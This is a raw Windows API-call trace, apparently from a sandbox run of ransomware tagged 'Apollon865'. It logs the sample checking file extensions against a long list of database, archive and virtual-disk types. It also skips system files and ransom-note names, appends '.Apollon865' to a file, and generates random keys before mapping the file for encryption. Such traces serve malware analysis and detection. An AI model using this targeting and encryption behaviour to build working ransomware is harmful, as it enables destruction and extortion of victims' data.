	[0082.892] lstrlenW (lpString="udb") returned 3
	[0082.892] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0082.892] lstrlenW (lpString="udl") returned 3
	[0082.892] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0082.892] lstrlenW (lpString="usr") returned 3
	[0082.892] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0082.892] lstrlenW (lpString="v12") returned 3
	[0082.892] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0082.892] lstrlenW (lpString="vis") returned 3
	[0082.892] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0082.892] lstrlenW (lpString="vpd") returned 3
	[0082.892] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0082.892] lstrlenW (lpString="vvv") returned 3
	[0082.892] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0082.892] lstrlenW (lpString="wdb") returned 3
	[0082.892] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0082.892] lstrlenW (lpString="wmdb") returned 4
	[0082.892] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0082.892] lstrlenW (lpString="wrk") returned 3
	[0082.892] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0082.892] lstrlenW (lpString="xdb") returned 3
	[0082.892] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0082.892] lstrlenW (lpString="xld") returned 3
	[0082.892] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0082.892] lstrlenW (lpString="xmlff") returned 5
	[0082.892] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0082.892] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll.Apollon865") returned 82
	[0082.892] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0082.894] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\msointl.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0082.894] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=96608) returned 1
	[0082.894] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0082.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0082.895] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0082.895] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0082.895] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0082.895] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.896] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17c60, lpName=0x0) returned 0x15c
	[0082.897] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17c60) returned 0x120000
	[0082.907] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0082.908] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0082.908] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0082.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0082.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0082.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0082.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0082.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0082.908] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0082.908] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0082.909] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0082.909] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0082.909] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0082.910] CloseHandle (hObject=0x15c) returned 1
	[0082.910] CloseHandle (hObject=0x9c) returned 1
	[0082.910] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0082.910] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0082.910] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0082.911] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f53ca00, ftCreationTime.dwHighDateTime=0x1caca0b, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9f53ca00, ftLastWriteTime.dwHighDateTime=0x1caca0b, nFileSizeHigh=0x0, nFileSizeLow=0x2ced60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOINTL.REST.trx_dll", cAlternateFileName="MSOINT~2.TRX")) returned 1
	[0082.911] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0082.911] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0082.911] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".") returned 1
	[0082.911] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="..") returned 1
	[0082.911] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="windows") returned -1
	[0082.911] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="bootmgr") returned 1
	[0082.911] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="temp") returned -1
	[0082.911] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="pagefile.sys") returned -1
	[0082.911] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="boot") returned 1
	[0082.911] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="ids.txt") returned 1
	[0082.911] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="ntuser.dat") returned -1
	[0082.911] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="perflogs") returned -1
	[0082.911] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2="MSBuild") returned 1
	[0082.911] lstrlenW (lpString="MSOINTL.REST.trx_dll") returned 20
	[0082.911] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\MSOINTL.DLL.trx_dll") returned 71
	[0082.911] lstrcpyW (in: lpString1=0x119e670, lpString2="MSOINTL.REST.trx_dll" | out: lpString1="MSOINTL.REST.trx_dll") returned="MSOINTL.REST.trx_dll"
	[0082.911] lstrlenW (lpString="MSOINTL.REST.trx_dll") returned 20
	[0082.911] lstrlenW (lpString="Apollon865") returned 10
	[0082.911] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0082.911] lstrlenW (lpString=".dll") returned 4
	[0082.911] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0082.911] lstrlenW (lpString=".lnk") returned 4
	[0082.911] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0082.911] lstrlenW (lpString=".ini") returned 4
	[0082.911] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0082.911] lstrlenW (lpString=".sys") returned 4
	[0082.912] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0082.912] lstrlenW (lpString="MSOINTL.REST.trx_dll") returned 20
	[0082.912] lstrlenW (lpString="bak") returned 3
	[0082.912] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0082.912] lstrlenW (lpString="ba_") returned 3
	[0082.912] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0082.912] lstrlenW (lpString="dbb") returned 3
	[0082.912] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0082.912] lstrlenW (lpString="vmdk") returned 4
	[0082.912] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0082.912] lstrlenW (lpString="rar") returned 3
	[0082.912] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0082.912] lstrlenW (lpString="zip") returned 3
	[0082.912] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0082.912] lstrlenW (lpString="tgz") returned 3
	[0082.912] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0082.912] lstrlenW (lpString="vbox") returned 4
	[0082.912] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0082.912] lstrlenW (lpString="vdi") returned 3
	[0082.912] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0082.912] lstrlenW (lpString="vhd") returned 3
	[0082.912] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0082.912] lstrlenW (lpString="vhdx") returned 4
	[0082.912] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0082.912] lstrlenW (lpString="avhd") returned 4
	[0082.912] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0082.912] lstrlenW (lpString="db") returned 2
	[0082.912] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0082.912] lstrlenW (lpString="db2") returned 3
	[0082.912] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0082.912] lstrlenW (lpString="db3") returned 3
	[0082.912] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0082.912] lstrlenW (lpString="dbf") returned 3
	[0082.912] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0082.912] lstrlenW (lpString="mdf") returned 3
	[0082.912] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0082.912] lstrlenW (lpString="mdb") returned 3
	[0082.912] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0082.912] lstrlenW (lpString="sql") returned 3
	[0082.913] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0082.913] lstrlenW (lpString="sqlite") returned 6
	[0082.913] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0082.913] lstrlenW (lpString="sqlite3") returned 7
	[0082.913] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0082.913] lstrlenW (lpString="sqlitedb") returned 8
	[0082.913] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0082.913] lstrlenW (lpString="xml") returned 3
	[0082.913] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0082.913] lstrlenW (lpString="$er") returned 3
	[0082.913] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0082.913] lstrlenW (lpString="4dd") returned 3
	[0082.913] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0082.913] lstrlenW (lpString="4dl") returned 3
	[0082.913] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0082.913] lstrlenW (lpString="^^^") returned 3
	[0082.913] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0082.913] lstrlenW (lpString="abs") returned 3
	[0082.913] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0082.913] lstrlenW (lpString="abx") returned 3
	[0082.913] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0082.913] lstrlenW (lpString="accdb") returned 5
	[0082.913] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0082.913] lstrlenW (lpString="accdc") returned 5
	[0082.913] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0082.913] lstrlenW (lpString="accde") returned 5
	[0082.913] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0082.913] lstrlenW (lpString="accdr") returned 5
	[0082.913] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0082.913] lstrlenW (lpString="accdt") returned 5
	[0082.913] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0082.913] lstrlenW (lpString="accdw") returned 5
	[0082.913] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0082.913] lstrlenW (lpString="accft") returned 5
	[0082.913] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0082.913] lstrlenW (lpString="adb") returned 3
	[0082.913] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.914] lstrlenW (lpString="adb") returned 3
	[0082.914] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0082.914] lstrlenW (lpString="ade") returned 3
	[0082.914] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0082.914] lstrlenW (lpString="adf") returned 3
	[0082.914] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0082.914] lstrlenW (lpString="adn") returned 3
	[0082.914] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0082.914] lstrlenW (lpString="adp") returned 3
	[0082.914] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0082.914] lstrlenW (lpString="alf") returned 3
	[0082.914] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0082.914] lstrlenW (lpString="ask") returned 3
	[0082.914] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0082.914] lstrlenW (lpString="btr") returned 3
	[0082.914] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0082.914] lstrlenW (lpString="cat") returned 3
	[0082.914] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0082.914] lstrlenW (lpString="cdb") returned 3
	[0082.914] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0082.914] lstrlenW (lpString="ckp") returned 3
	[0082.914] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0082.914] lstrlenW (lpString="cma") returned 3
	[0082.914] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0082.914] lstrlenW (lpString="cpd") returned 3
	[0082.914] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0082.914] lstrlenW (lpString="dacpac") returned 6
	[0082.914] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0082.914] lstrlenW (lpString="dad") returned 3
	[0082.914] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0082.914] lstrlenW (lpString="dadiagrams") returned 10
	[0082.914] lstrcmpiW (lpString1="ST.trx_dll", lpString2="dadiagrams") returned 1
	[0082.914] lstrlenW (lpString="daschema") returned 8
	[0082.914] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0082.915] lstrlenW (lpString="db-journal") returned 10
	[0082.915] lstrcmpiW (lpString1="ST.trx_dll", lpString2="db-journal") returned 1
	[0082.915] lstrlenW (lpString="db-shm") returned 6
	[0082.915] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0082.915] lstrlenW (lpString="db-wal") returned 6
	[0082.915] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0082.915] lstrlenW (lpString="dbc") returned 3
	[0082.915] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0082.915] lstrlenW (lpString="dbs") returned 3
	[0082.915] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0082.915] lstrlenW (lpString="dbt") returned 3
	[0082.915] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0082.915] lstrlenW (lpString="dbv") returned 3
	[0082.915] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0082.915] lstrlenW (lpString="dbx") returned 3
	[0082.915] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0082.915] lstrlenW (lpString="dcb") returned 3
	[0082.915] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0082.915] lstrlenW (lpString="dct") returned 3
	[0082.915] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0082.915] lstrlenW (lpString="dcx") returned 3
	[0082.915] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0082.915] lstrlenW (lpString="ddl") returned 3
	[0082.915] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0082.915] lstrlenW (lpString="dlis") returned 4
	[0082.915] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0082.915] lstrlenW (lpString="dp1") returned 3
	[0082.915] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0082.915] lstrlenW (lpString="dqy") returned 3
	[0082.915] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0082.915] lstrlenW (lpString="dsk") returned 3
	[0082.915] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0082.915] lstrlenW (lpString="dsn") returned 3
	[0082.915] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0082.915] lstrlenW (lpString="dtsx") returned 4
	[0082.915] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0082.915] lstrlenW (lpString="dxl") returned 3
	[0082.915] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0082.916] lstrlenW (lpString="eco") returned 3
	[0082.916] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0082.916] lstrlenW (lpString="ecx") returned 3
	[0082.916] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0082.916] lstrlenW (lpString="edb") returned 3
	[0082.916] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0082.916] lstrlenW (lpString="epim") returned 4
	[0082.916] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0082.916] lstrlenW (lpString="fcd") returned 3
	[0082.916] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0082.916] lstrlenW (lpString="fdb") returned 3
	[0082.916] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0082.916] lstrlenW (lpString="fic") returned 3
	[0082.916] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0082.916] lstrlenW (lpString="flexolibrary") returned 12
	[0082.916] lstrcmpiW (lpString1="REST.trx_dll", lpString2="flexolibrary") returned 1
	[0082.916] lstrlenW (lpString="fm5") returned 3
	[0082.916] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0082.916] lstrlenW (lpString="fmp") returned 3
	[0082.916] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0082.916] lstrlenW (lpString="fmp12") returned 5
	[0082.916] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0082.916] lstrlenW (lpString="fmpsl") returned 5
	[0082.916] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0082.916] lstrlenW (lpString="fol") returned 3
	[0082.916] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0082.916] lstrlenW (lpString="fp3") returned 3
	[0082.916] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0082.916] lstrlenW (lpString="fp4") returned 3
	[0082.916] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0082.916] lstrlenW (lpString="fp5") returned 3
	[0082.916] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0082.916] lstrlenW (lpString="fp7") returned 3
	[0082.916] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0082.916] lstrlenW (lpString="fpt") returned 3
	[0082.916] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0082.916] lstrlenW (lpString="frm") returned 3
	[0082.916] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0082.917] lstrlenW (lpString="gdb") returned 3
	[0082.917] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.917] lstrlenW (lpString="gdb") returned 3
	[0082.917] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.917] lstrlenW (lpString="grdb") returned 4
	[0082.917] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0082.917] lstrlenW (lpString="gwi") returned 3
	[0082.917] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0082.917] lstrlenW (lpString="hdb") returned 3
	[0082.917] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0082.917] lstrlenW (lpString="his") returned 3
	[0082.917] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0082.917] lstrlenW (lpString="ib") returned 2
	[0082.917] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0082.917] lstrlenW (lpString="idb") returned 3
	[0082.917] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0082.917] lstrlenW (lpString="ihx") returned 3
	[0082.917] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0082.917] lstrlenW (lpString="itdb") returned 4
	[0082.917] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0082.917] lstrlenW (lpString="itw") returned 3
	[0082.917] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0082.917] lstrlenW (lpString="jet") returned 3
	[0082.917] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0082.917] lstrlenW (lpString="jtx") returned 3
	[0082.917] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0082.917] lstrlenW (lpString="kdb") returned 3
	[0082.917] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0082.917] lstrlenW (lpString="kexi") returned 4
	[0082.917] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0082.917] lstrlenW (lpString="kexic") returned 5
	[0082.917] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0082.917] lstrlenW (lpString="kexis") returned 5
	[0082.917] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0082.917] lstrlenW (lpString="lgc") returned 3
	[0082.917] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0082.917] lstrlenW (lpString="lwx") returned 3
	[0082.918] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0082.918] lstrlenW (lpString="maf") returned 3
	[0082.918] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0082.918] lstrlenW (lpString="maq") returned 3
	[0082.918] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0082.918] lstrlenW (lpString="mar") returned 3
	[0082.918] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0082.918] lstrlenW (lpString="marshal") returned 7
	[0082.918] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0082.918] lstrlenW (lpString="mas") returned 3
	[0082.918] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0082.918] lstrlenW (lpString="mav") returned 3
	[0082.918] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0082.918] lstrlenW (lpString="maw") returned 3
	[0082.918] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0082.918] lstrlenW (lpString="mdbhtml") returned 7
	[0082.918] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0082.918] lstrlenW (lpString="mdn") returned 3
	[0082.918] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0082.918] lstrlenW (lpString="mdt") returned 3
	[0082.918] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0082.918] lstrlenW (lpString="mfd") returned 3
	[0082.918] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0082.918] lstrlenW (lpString="mpd") returned 3
	[0082.918] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0082.918] lstrlenW (lpString="mrg") returned 3
	[0082.918] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0082.918] lstrlenW (lpString="mud") returned 3
	[0082.918] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0082.918] lstrlenW (lpString="mwb") returned 3
	[0082.918] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0082.918] lstrlenW (lpString="myd") returned 3
	[0082.918] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0082.918] lstrlenW (lpString="ndf") returned 3
	[0082.918] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0082.918] lstrlenW (lpString="nnt") returned 3
	[0082.918] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0082.918] lstrlenW (lpString="nrmlib") returned 6
	[0082.919] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0082.919] lstrlenW (lpString="ns2") returned 3
	[0082.919] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0082.919] lstrlenW (lpString="ns3") returned 3
	[0082.919] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0082.919] lstrlenW (lpString="ns4") returned 3
	[0082.919] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0082.919] lstrlenW (lpString="nsf") returned 3
	[0082.919] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0082.919] lstrlenW (lpString="nv") returned 2
	[0082.919] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0082.919] lstrlenW (lpString="nv2") returned 3
	[0082.919] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0082.919] lstrlenW (lpString="nwdb") returned 4
	[0082.919] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0082.919] lstrlenW (lpString="nyf") returned 3
	[0082.919] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0082.919] lstrlenW (lpString="odb") returned 3
	[0082.919] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.919] lstrlenW (lpString="odb") returned 3
	[0082.919] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.919] lstrlenW (lpString="oqy") returned 3
	[0082.919] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0082.919] lstrlenW (lpString="ora") returned 3
	[0082.919] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0082.919] lstrlenW (lpString="orx") returned 3
	[0082.919] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0082.919] lstrlenW (lpString="owc") returned 3
	[0082.919] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0082.919] lstrlenW (lpString="p96") returned 3
	[0082.919] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0082.919] lstrlenW (lpString="p97") returned 3
	[0082.919] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0082.919] lstrlenW (lpString="pan") returned 3
	[0082.919] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0082.919] lstrlenW (lpString="pdb") returned 3
	[0082.919] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0082.919] lstrlenW (lpString="pdm") returned 3
	[0082.920] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0082.920] lstrlenW (lpString="pnz") returned 3
	[0082.920] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0082.920] lstrlenW (lpString="qry") returned 3
	[0082.920] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0082.920] lstrlenW (lpString="qvd") returned 3
	[0082.920] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0082.920] lstrlenW (lpString="rbf") returned 3
	[0082.920] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0082.920] lstrlenW (lpString="rctd") returned 4
	[0082.920] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0082.920] lstrlenW (lpString="rod") returned 3
